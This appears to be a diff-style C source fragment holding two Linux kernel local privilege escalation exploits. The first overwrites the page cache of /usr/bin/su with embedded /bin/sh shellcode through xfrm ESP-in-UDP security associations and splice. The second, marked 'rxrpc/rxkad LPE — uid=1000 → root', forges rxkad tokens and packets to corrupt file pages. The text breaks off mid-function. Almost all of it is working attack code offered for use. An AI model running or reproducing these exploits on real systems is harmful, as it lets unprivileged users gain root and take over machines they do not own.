0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, + 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, + 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, + 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +}; + +extern int g_su_verbose; +int g_su_verbose = 0; +#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) + +static int write_proc(const char *path, const char *buf) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + int n = write(fd, buf, strlen(buf)); + close(fd); + return n; +} + +static void setup_userns_netns(void) +{ + uid_t real_uid = getuid(); + gid_t real_gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + SLOG("unshare: %s", strerror(errno)); + exit(1); + } + write_proc("/proc/self/setgroups", "deny"); + char map[64]; + snprintf(map, sizeof(map), "0 %u 1", real_uid); + if (write_proc("/proc/self/uid_map", map) < 0) { + SLOG("uid_map: %s", strerror(errno)); exit(1); + } + snprintf(map, sizeof(map), "0 %u 1", real_gid); + if (write_proc("/proc/self/gid_map", map) < 0) { + SLOG("gid_map: %s", strerror(errno)); exit(1); + } + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } + struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "lo", IFNAMSIZ); + if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } + close(s); +} + +static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) +{ + struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + memcpy(RTA_DATA(rta), data, len); + nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); +} + +static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) +{ + int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); + if (sk < 0) return -1; + struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; + if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } + + char buf[4096] = {0}; + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + nlh->nlmsg_type = XFRM_MSG_NEWSA; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_seq = 1; + nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); + + struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); + xs->id.daddr.a4 = inet_addr("127.0.0.1"); + xs->id.spi = htonl(spi); + xs->id.proto = IPPROTO_ESP; + xs->saddr.a4 = inet_addr("127.0.0.1"); + xs->family = AF_INET; + xs->mode = XFRM_MODE_TRANSPORT; + xs->replay_window = 0; + xs->reqid = 0x1234; + xs->flags = XFRM_STATE_ESN; + xs->lft.soft_byte_limit = (uint64_t)-1; + xs->lft.hard_byte_limit = (uint64_t)-1; + xs->lft.soft_packet_limit = (uint64_t)-1; + xs->lft.hard_packet_limit = (uint64_t)-1; + xs->sel.family = AF_INET; + xs->sel.prefixlen_d = 32; + xs->sel.prefixlen_s = 32; + xs->sel.daddr.a4 = inet_addr("127.0.0.1"); + xs->sel.saddr.a4 = inet_addr("127.0.0.1"); + + { + char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; + memset(alg_buf, 0, sizeof(alg_buf)); + struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; + strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); + aa->alg_key_len = 32 * 8; + aa->alg_trunc_len = 128; + memset(aa->alg_key, 0xAA, 32); + put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); + } + { + char alg_buf[sizeof(struct xfrm_algo) + 16]; + memset(alg_buf, 0, sizeof(alg_buf)); + struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; + strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); + ea->alg_key_len = 16 * 8; + memset(ea->alg_key, 0xBB, 16); + put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); + } + { + struct xfrm_encap_tmpl enc; + memset(&enc, 0, sizeof(enc)); + enc.encap_type = UDP_ENCAP_ESPINUDP; + enc.encap_sport = htons(ENC_PORT); + enc.encap_dport = htons(ENC_PORT); + enc.encap_oa.a4 = 0; + put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); + } + { + char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; + memset(esn_buf, 0, sizeof(esn_buf)); + struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; + esn->bmp_len = 1; + esn->oseq = 0; + esn->seq = REPLAY_SEQ; + esn->oseq_hi = 0; + esn->seq_hi = patch_seqhi; + esn->replay_window = 32; + put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); + } + + if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } + char rbuf[4096]; + int n = recv(sk, rbuf, sizeof(rbuf), 0); + if (n < 0) { close(sk); return -1; } + struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; + if (rh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *e = NLMSG_DATA(rh); + if (e->error) { close(sk); return -1; } + } + close(sk); + return 0; +} + +static int do_one_write(const char *path, off_t offset, uint32_t spi) +{ + int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); + if (sk_recv < 0) return -1; + int one = 1; + setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + struct sockaddr_in sa_d = { + .sin_family = AF_INET, + .sin_port = htons(ENC_PORT), + .sin_addr = { inet_addr("127.0.0.1") }, + }; + if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { + close(sk_recv); return -1; + } + int encap = UDP_ENCAP_ESPINUDP; + if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { + close(sk_recv); return -1; + } + int sk_send = socket(AF_INET, SOCK_DGRAM, 0); + if (sk_send < 0) { close(sk_recv); return -1; } + if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { + close(sk_send); close(sk_recv); return -1; + } + int file_fd = open(path, O_RDONLY); + if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } + + int pfd[2]; + if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } + + uint8_t hdr[24]; + *(uint32_t*)(hdr + 0) = htonl(spi); + *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); + memset(hdr + 8, 0xCC, 16); + + struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; + if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { + close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; + } + off_t off = offset; + ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); + if (s != 16) { + close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; + } + s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); + /* still proceed regardless of splice rc — kernel may have already + * decrypted the page in the time between splice and recv */ + usleep(150 * 1000); + + close(file_fd); close(pfd[0]); close(pfd[1]); + close(sk_send); close(sk_recv); + return s == 40 ? 0 : -1; +} + +static int verify_byte(const char *path, off_t offset, uint8_t want) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; + uint8_t got; + if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } + close(fd); + return got == want ? 0 : -1; +} + +static int corrupt_su(void) +{ + setup_userns_netns(); + usleep(100 * 1000); + + /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the + * desired payload word in its seq_hi field. */ + for (int i = 0; i < PAYLOAD_LEN / 4; i++) { + uint32_t spi = 0xDEADBE10 + i; + uint32_t seqhi = + ((uint32_t)shell_elf[i*4 + 0] << 24) | + ((uint32_t)shell_elf[i*4 + 1] << 16) | + ((uint32_t)shell_elf[i*4 + 2] << 8) | + ((uint32_t)shell_elf[i*4 + 3]); + if (add_xfrm_sa(spi, seqhi) < 0) { + SLOG("add_xfrm_sa #%d failed", i); + return -1; + } + } + SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); + + for (int i = 0; i < PAYLOAD_LEN / 4; i++) { + uint32_t spi = 0xDEADBE10 + i; + off_t off = PATCH_OFFSET + i * 4; + if (do_one_write(TARGET_PATH, off, spi) < 0) { + SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); + return -1; + } + } + SLOG("wrote %d bytes to %s starting at 0x%x", + PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); + return 0; +} + +int su_lpe_main(int argc, char **argv) +{ + for (int i = 1; i < argc; i++) { + if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) + g_su_verbose = 1; + else if (!strcmp(argv[i], "--corrupt-only")) + ; /* compat: this body always corrupts only */ + } + if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; + + pid_t cpid = fork(); + if (cpid < 0) return 1; + if (cpid == 0) { + int rc = corrupt_su(); + _exit(rc == 0 ? 0 : 2); + } + int cstatus; + waitpid(cpid, &cstatus, 0); + if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { + SLOG("corruption stage failed (status=0x%x)", cstatus); + return 1; + } + + /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 + * after our overwrite) should be 0x31 0xff (xor edi, edi — first + * instruction of the new shellcode). */ + if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || + verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { + SLOG("post-write verify failed (target unchanged)"); + return 1; + } + SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", + ENTRY_OFFSET); + return 0; +} +/* + * rxrpc/rxkad LPE — uid=1000 → root + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef AF_RXRPC +#define AF_RXRPC 33 +#endif +#ifndef PF_RXRPC +#define PF_RXRPC AF_RXRPC +#endif +#ifndef SOL_RXRPC +#define SOL_RXRPC 272 +#endif +#ifndef SOL_ALG +#define SOL_ALG 279 +#endif +#ifndef AF_ALG +#define AF_ALG 38 +#endif +#ifndef MSG_SPLICE_PAGES +#define MSG_SPLICE_PAGES 0x8000000 +#endif + +/* ---- rxrpc constants ---- */ +#define RXRPC_PACKET_TYPE_DATA 1 +#define RXRPC_PACKET_TYPE_ACK 2 +#define RXRPC_PACKET_TYPE_ABORT 4 +#define RXRPC_PACKET_TYPE_CHALLENGE 6 +#define RXRPC_PACKET_TYPE_RESPONSE 7 +#define RXRPC_CLIENT_INITIATED 0x01 +#define RXRPC_REQUEST_ACK 0x02 +#define RXRPC_LAST_PACKET 0x04 +#define RXRPC_CHANNELMASK 3 +#define RXRPC_CIDSHIFT 2 + +struct rxrpc_wire_header { + uint32_t epoch; + uint32_t cid; + uint32_t callNumber; + uint32_t seq; + uint32_t serial; + uint8_t type; + uint8_t flags; + uint8_t userStatus; + uint8_t securityIndex; + uint16_t cksum; /* big-endian on wire */ + uint16_t serviceId; +} __attribute__((packed)); + +struct rxkad_challenge { + uint32_t version; + uint32_t nonce; + uint32_t min_level; + uint32_t __padding; +} __attribute__((packed)); + +/* Attacker-chosen 8-byte session key used for the rxkad token. + * Mutable because the LPE brute-force iterates over keys looking for + * one that decrypts the file's UID field to a "0:" prefix. */ +static uint8_t SESSION_KEY[8] = { + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 +}; + +#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) +#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) +#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) + +/* =================================================================== */ +/* unshare + map setup */ +/* =================================================================== */ + +static int write_file(const char *path, const char *fmt, ...) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + char buf[256]; va_list ap; va_start(ap, fmt); + int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); + int r = (int)write(fd, buf, n); close(fd); + return r; +} + +static int do_unshare_userns_netns(void) +{ + uid_t real_uid = getuid(); + gid_t real_gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); + return -1; + } + LOG("unshare(USER|NET) OK, real uid=%u", real_uid); + write_file("/proc/self/setgroups", "deny"); + if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { + WARN("uid_map: %s", strerror(errno)); return -1; + } + if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { + WARN("gid_map: %s", strerror(errno)); return -1; + } + LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", + real_uid, real_gid); + + /* ifup lo */ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s >= 0) { + struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, "lo"); + if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) + WARN("SIOCSIFFLAGS lo: %s", strerror(errno)); + else + LOG("lo brought UP in new netns"); + } + close(s); + } + return 0; +} + +/* =================================================================== */ +/* rxrpc key (rxkad v1 token with attacker session key) */ +/* =================================================================== */ + +static long key_add(const char *type, const char *desc, + const void *payload, size_t plen, int ringid) +{ + return syscall(SYS_add_key, type, desc, payload, plen, ringid); +} + +static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) +{ + uint8_t *p = out; + uint32_t now = (uint32_t)time(NULL); + uint32_t expires = now + 86400; + *(uint32_t *)p = htonl(0); p += 4; /* flags */ + const char *cell = "evil"; + uint32_t clen = strlen(cell); + *(uint32_t *)p = htonl(clen); p += 4; + memcpy(p, cell, clen); + uint32_t pad = (4 - (clen & 3)) & 3; + memset(p + clen, 0, pad); + p += clen + pad; + *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ + uint8_t *toklen_p = p; p += 4; + uint8_t *tokstart = p; + *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ + *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ + *(uint32_t *)p = htonl(1); p += 4; /* kvno */ + memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ + *(uint32_t *)p = htonl(now); p += 4; + *(uint32_t *)p = htonl(expires); p += 4; + *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ + *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ + memset(p, 0xCC, 8); p += 8; /* ticket */ + uint32_t toklen = (uint32_t)(p - tokstart); + *(uint32_t *)toklen_p = htonl(toklen); + if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } + return (int)(p - out); +} + +static long add_rxrpc_key(const char *desc) +{ + uint8_t buf[512]; + int n = build_rxrpc_v1_token(buf, sizeof(buf)); + if (n < 0) return -1; + return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); +} + +/* =================================================================== */ +/* AF_ALG pcbc(fcrypt) helpers */ +/* =================================================================== */ + +static int alg_open_pcbc_fcrypt(const uint8_t key[8]) +{ + int s = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } + struct sockaddr_alg sa = { .salg_family = AF_ALG }; + strcpy((char *)sa.salg_type, "skcipher"); + strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); + close(s); return -1; + } + if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { + WARN("ALG_SET_KEY: %s", strerror(errno)); + close(s); return -1; + } + return s; +} + +/* Encrypt-or-decrypt a 1+ block of data with a given IV. */ +static int alg_op(int alg_s, int op, const uint8_t iv[8], + const void *in, size_t inlen, void *out) +{ + int op_fd = accept(alg_s, NULL, NULL); + if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; } + + char cbuf[CMSG_SPACE(sizeof(int)) + + CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; + struct msghdr msg = {0}; + msg.msg_control = cbuf; + msg.msg_controllen = sizeof(cbuf); + + struct cmsghdr *c = CMSG_FIRSTHDR(&msg); + c->cmsg_level = SOL_ALG; + c->cmsg_type = ALG_SET_OP; + c->cmsg_len = CMSG_LEN(sizeof(int)); + *(int *)CMSG_DATA(c) = op; + + c = CMSG_NXTHDR(&msg, c); + c->cmsg_level = SOL_ALG; + c->cmsg_type = ALG_SET_IV; + c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); + struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); + aiv->ivlen = 8; + memcpy(aiv->iv, iv, 8); + + struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + + if (sendmsg(op_fd, &msg, 0) < 0) { + WARN("AF_ALG sendmsg: %s", strerror(errno)); + close(op_fd); return -1; + } + ssize_t n = read(op_fd, out, inlen); + close(op_fd); + if (n != (ssize_t)inlen) { + WARN("AF_ALG read got %zd want %zu: %s", + n, inlen, strerror(errno)); + return -1; + } + return 0; +} + +/* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): + * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) + * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] + * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) + */ +static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, + const uint8_t key[8], uint8_t csum_iv[8]) +{ + int s = alg_open_pcbc_fcrypt(key); + if (s < 0) return -1; + uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; + uint8_t out[16]; + int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out); + close(s); + if (rc < 0) return -1; + memcpy(csum_iv, out + 8, 8); + return 0; +} + +/* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): + * x = (cid_low2 << 30) | (seq & 0x3fffffff) + * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) + * PCBC-encrypt(buf, IV=csum_iv) → enc[8] + * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 + */ +static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, + const uint8_t key[8], const uint8_t csum_iv[8], + uint16_t *cksum_out) +{ + int s = alg_open_pcbc_fcrypt(key); + if (s < 0) return -1; + uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); + x |= seq & 0x3fffffff; + uint32_t in[2] = { htonl(call_id), htonl(x) }; + uint32_t out[2]; + int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); + close(s); + if (rc < 0) return -1; + uint32_t y = ntohl(out[1]); + uint16_t v = (y >> 16) & 0xffff; + if (v == 0) v = 1; + *cksum_out = v; + return 0; +} + +/* =================================================================== */ +/* AF_RXRPC client */ +/* =================================================================== */ + +static int setup_rxrpc_client(uint16_t local_port, const char *keyname) +{ + int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } + if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, + keyname, strlen(keyname)) < 0) { + WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; + } + int min_level = RXRPC_SECURITY_AUTH; + if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, + &min_level, sizeof(min_level)) < 0) { + WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); + close(fd); return -1; + } + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = 0; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(local_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { + WARN("client bind :%u: %s", local_port, strerror(errno)); + close(fd); return -1; + } + LOG("AF_RXRPC client bound :%u", local_port); + return fd; +} + +static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, + uint16_t service_id, + unsigned long user_call_id) +{ + char data[8] = "PINGPING"; + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = service_id; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(srv_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; + struct msghdr msg = {0}; + msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); + struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_RXRPC; + cmsg->cmsg_type = RXRPC_USER_CALL_ID; + cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); + *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; + + /* Don't block forever if no reply ever comes through this single sendmsg. */ + int fl = fcntl(cli_fd, F_GETFL); + fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); + + ssize_t n = sendmsg(cli_fd, &msg, 0); + fcntl(cli_fd, F_SETFL, fl); + if (n < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) { + LOG("client sendmsg returned EAGAIN (expected; kernel will keep " + "retrying handshake)"); + return 0; + } + WARN("client sendmsg: %s", strerror(errno)); + return -1; + } + LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", + n, srv_port); + return 0; +} + +/* =================================================================== */ +/* fake-server (plain UDP) */ +/* =================================================================== */ + +static int setup_udp_server(uint16_t port) +{ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } + struct sockaddr_in sa = {0}; + sa.sin_family = AF_INET; + sa.sin_port = htons(port); + sa.sin_addr.s_addr = htonl(0x7F000001); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + WARN("udp server bind :%u: %s", port, strerror(errno)); + close(s); return -1; + } + LOG("plain UDP fake-server bound :%u", port); + return s; +} + +/* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ +static ssize_t udp_recv_to(int s, void *buf, size_t cap, + struct sockaddr_in *from, int timeout_ms) +{ + struct pollfd pfd = { .fd = s, .events = POLLIN }; + int rc = poll(&pfd, 1, timeout_ms); + if (rc <= 0) return -1; + socklen_t fl = from ? sizeof(*from) : 0; + return recvfrom(s, buf, cap, 0, + (struct sockaddr *)from, from ? &fl : NULL); +} + +/* =================================================================== */ +/* main PoC */ +/* =================================================================== */ + +static int trigger_seq = 0; + +static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) +{ + char keyname[32]; + snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++); + + long key = add_rxrpc_key(keyname); + if (key < 0) { + if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno)); + return -1; + } + + /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */ + uint16_t port_S = 7777 + (trigger_seq * 2 % 200); + uint16_t port_C = port_S + 1; + uint16_t svc_id = 1234; + + int udp_srv = setup_udp_server(port_S); + if (udp_srv < 0) { + if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S); + syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1; + } + + int rxsk_cli = setup_rxrpc_client(port_C, keyname); + if (rxsk_cli < 0) { + if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname); + close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) { + if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed"); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + uint8_t pkt[2048]; + struct sockaddr_in cli_addr; + ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); + if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) { + if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno)); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt; + uint32_t epoch = ntohl(whdr_in->epoch); + uint32_t cid = ntohl(whdr_in->cid); + uint32_t callN = ntohl(whdr_in->callNumber); + uint16_t svc_in = ntohs(whdr_in->serviceId); + uint16_t cli_port = ntohs(cli_addr.sin_port); + + /* Send CHALLENGE */ + { + struct { + struct rxrpc_wire_header hdr; + struct rxkad_challenge ch; + } __attribute__((packed)) c = {0}; + c.hdr.epoch = htonl(epoch); + c.hdr.cid = htonl(cid); + c.hdr.callNumber = 0; c.hdr.seq = 0; + c.hdr.serial = htonl(0x10000); + c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; + c.hdr.securityIndex = 2; + c.hdr.serviceId = htons(svc_in); + c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); + c.ch.min_level = htonl(1); + struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), + .sin_addr.s_addr=htonl(0x7F000001) }; + if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + } + + /* Drain RESPONSE (best-effort) */ + for (int i = 0; i < 4; i++) { + struct sockaddr_in src; + if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; + } + + /* csum + cksum with CURRENT SESSION_KEY */ + uint8_t csum_iv[8] = {0}; + if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + uint16_t cksum_h = 0; + if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + /* Build malicious DATA header */ + struct rxrpc_wire_header mal = {0}; + mal.epoch = htonl(epoch); + mal.cid = htonl(cid); + mal.callNumber = htonl(callN); + mal.seq = htonl(1); + mal.serial = htonl(0x42000); + mal.type = RXRPC_PACKET_TYPE_DATA; + mal.flags = RXRPC_LAST_PACKET; + mal.securityIndex = 2; + mal.cksum = htons(cksum_h); + mal.serviceId = htons(svc_in); + + /* connect udp_srv → client port for splice */ + struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port), + .sin_addr.s_addr=htonl(0x7F000001) }; + if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + /* pipe + vmsplice header + splice file → pipe → udp_srv */ + int p[2]; + if (pipe(p) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + { + struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; + if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail; + } + { + loff_t off = splice_off; + if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) + goto trig_fail; + } + if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { + goto trig_fail; + } + close(p[0]); close(p[1]); + + /* recvmsg the malicious DATA into the kernel's verify_packet path */ + int fl = fcntl(rxsk_cli, F_GETFL); + fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK); + for (int round = 0; round < 5; round++) { + char rb[2048]; + struct sockaddr_rxrpc srx; + char 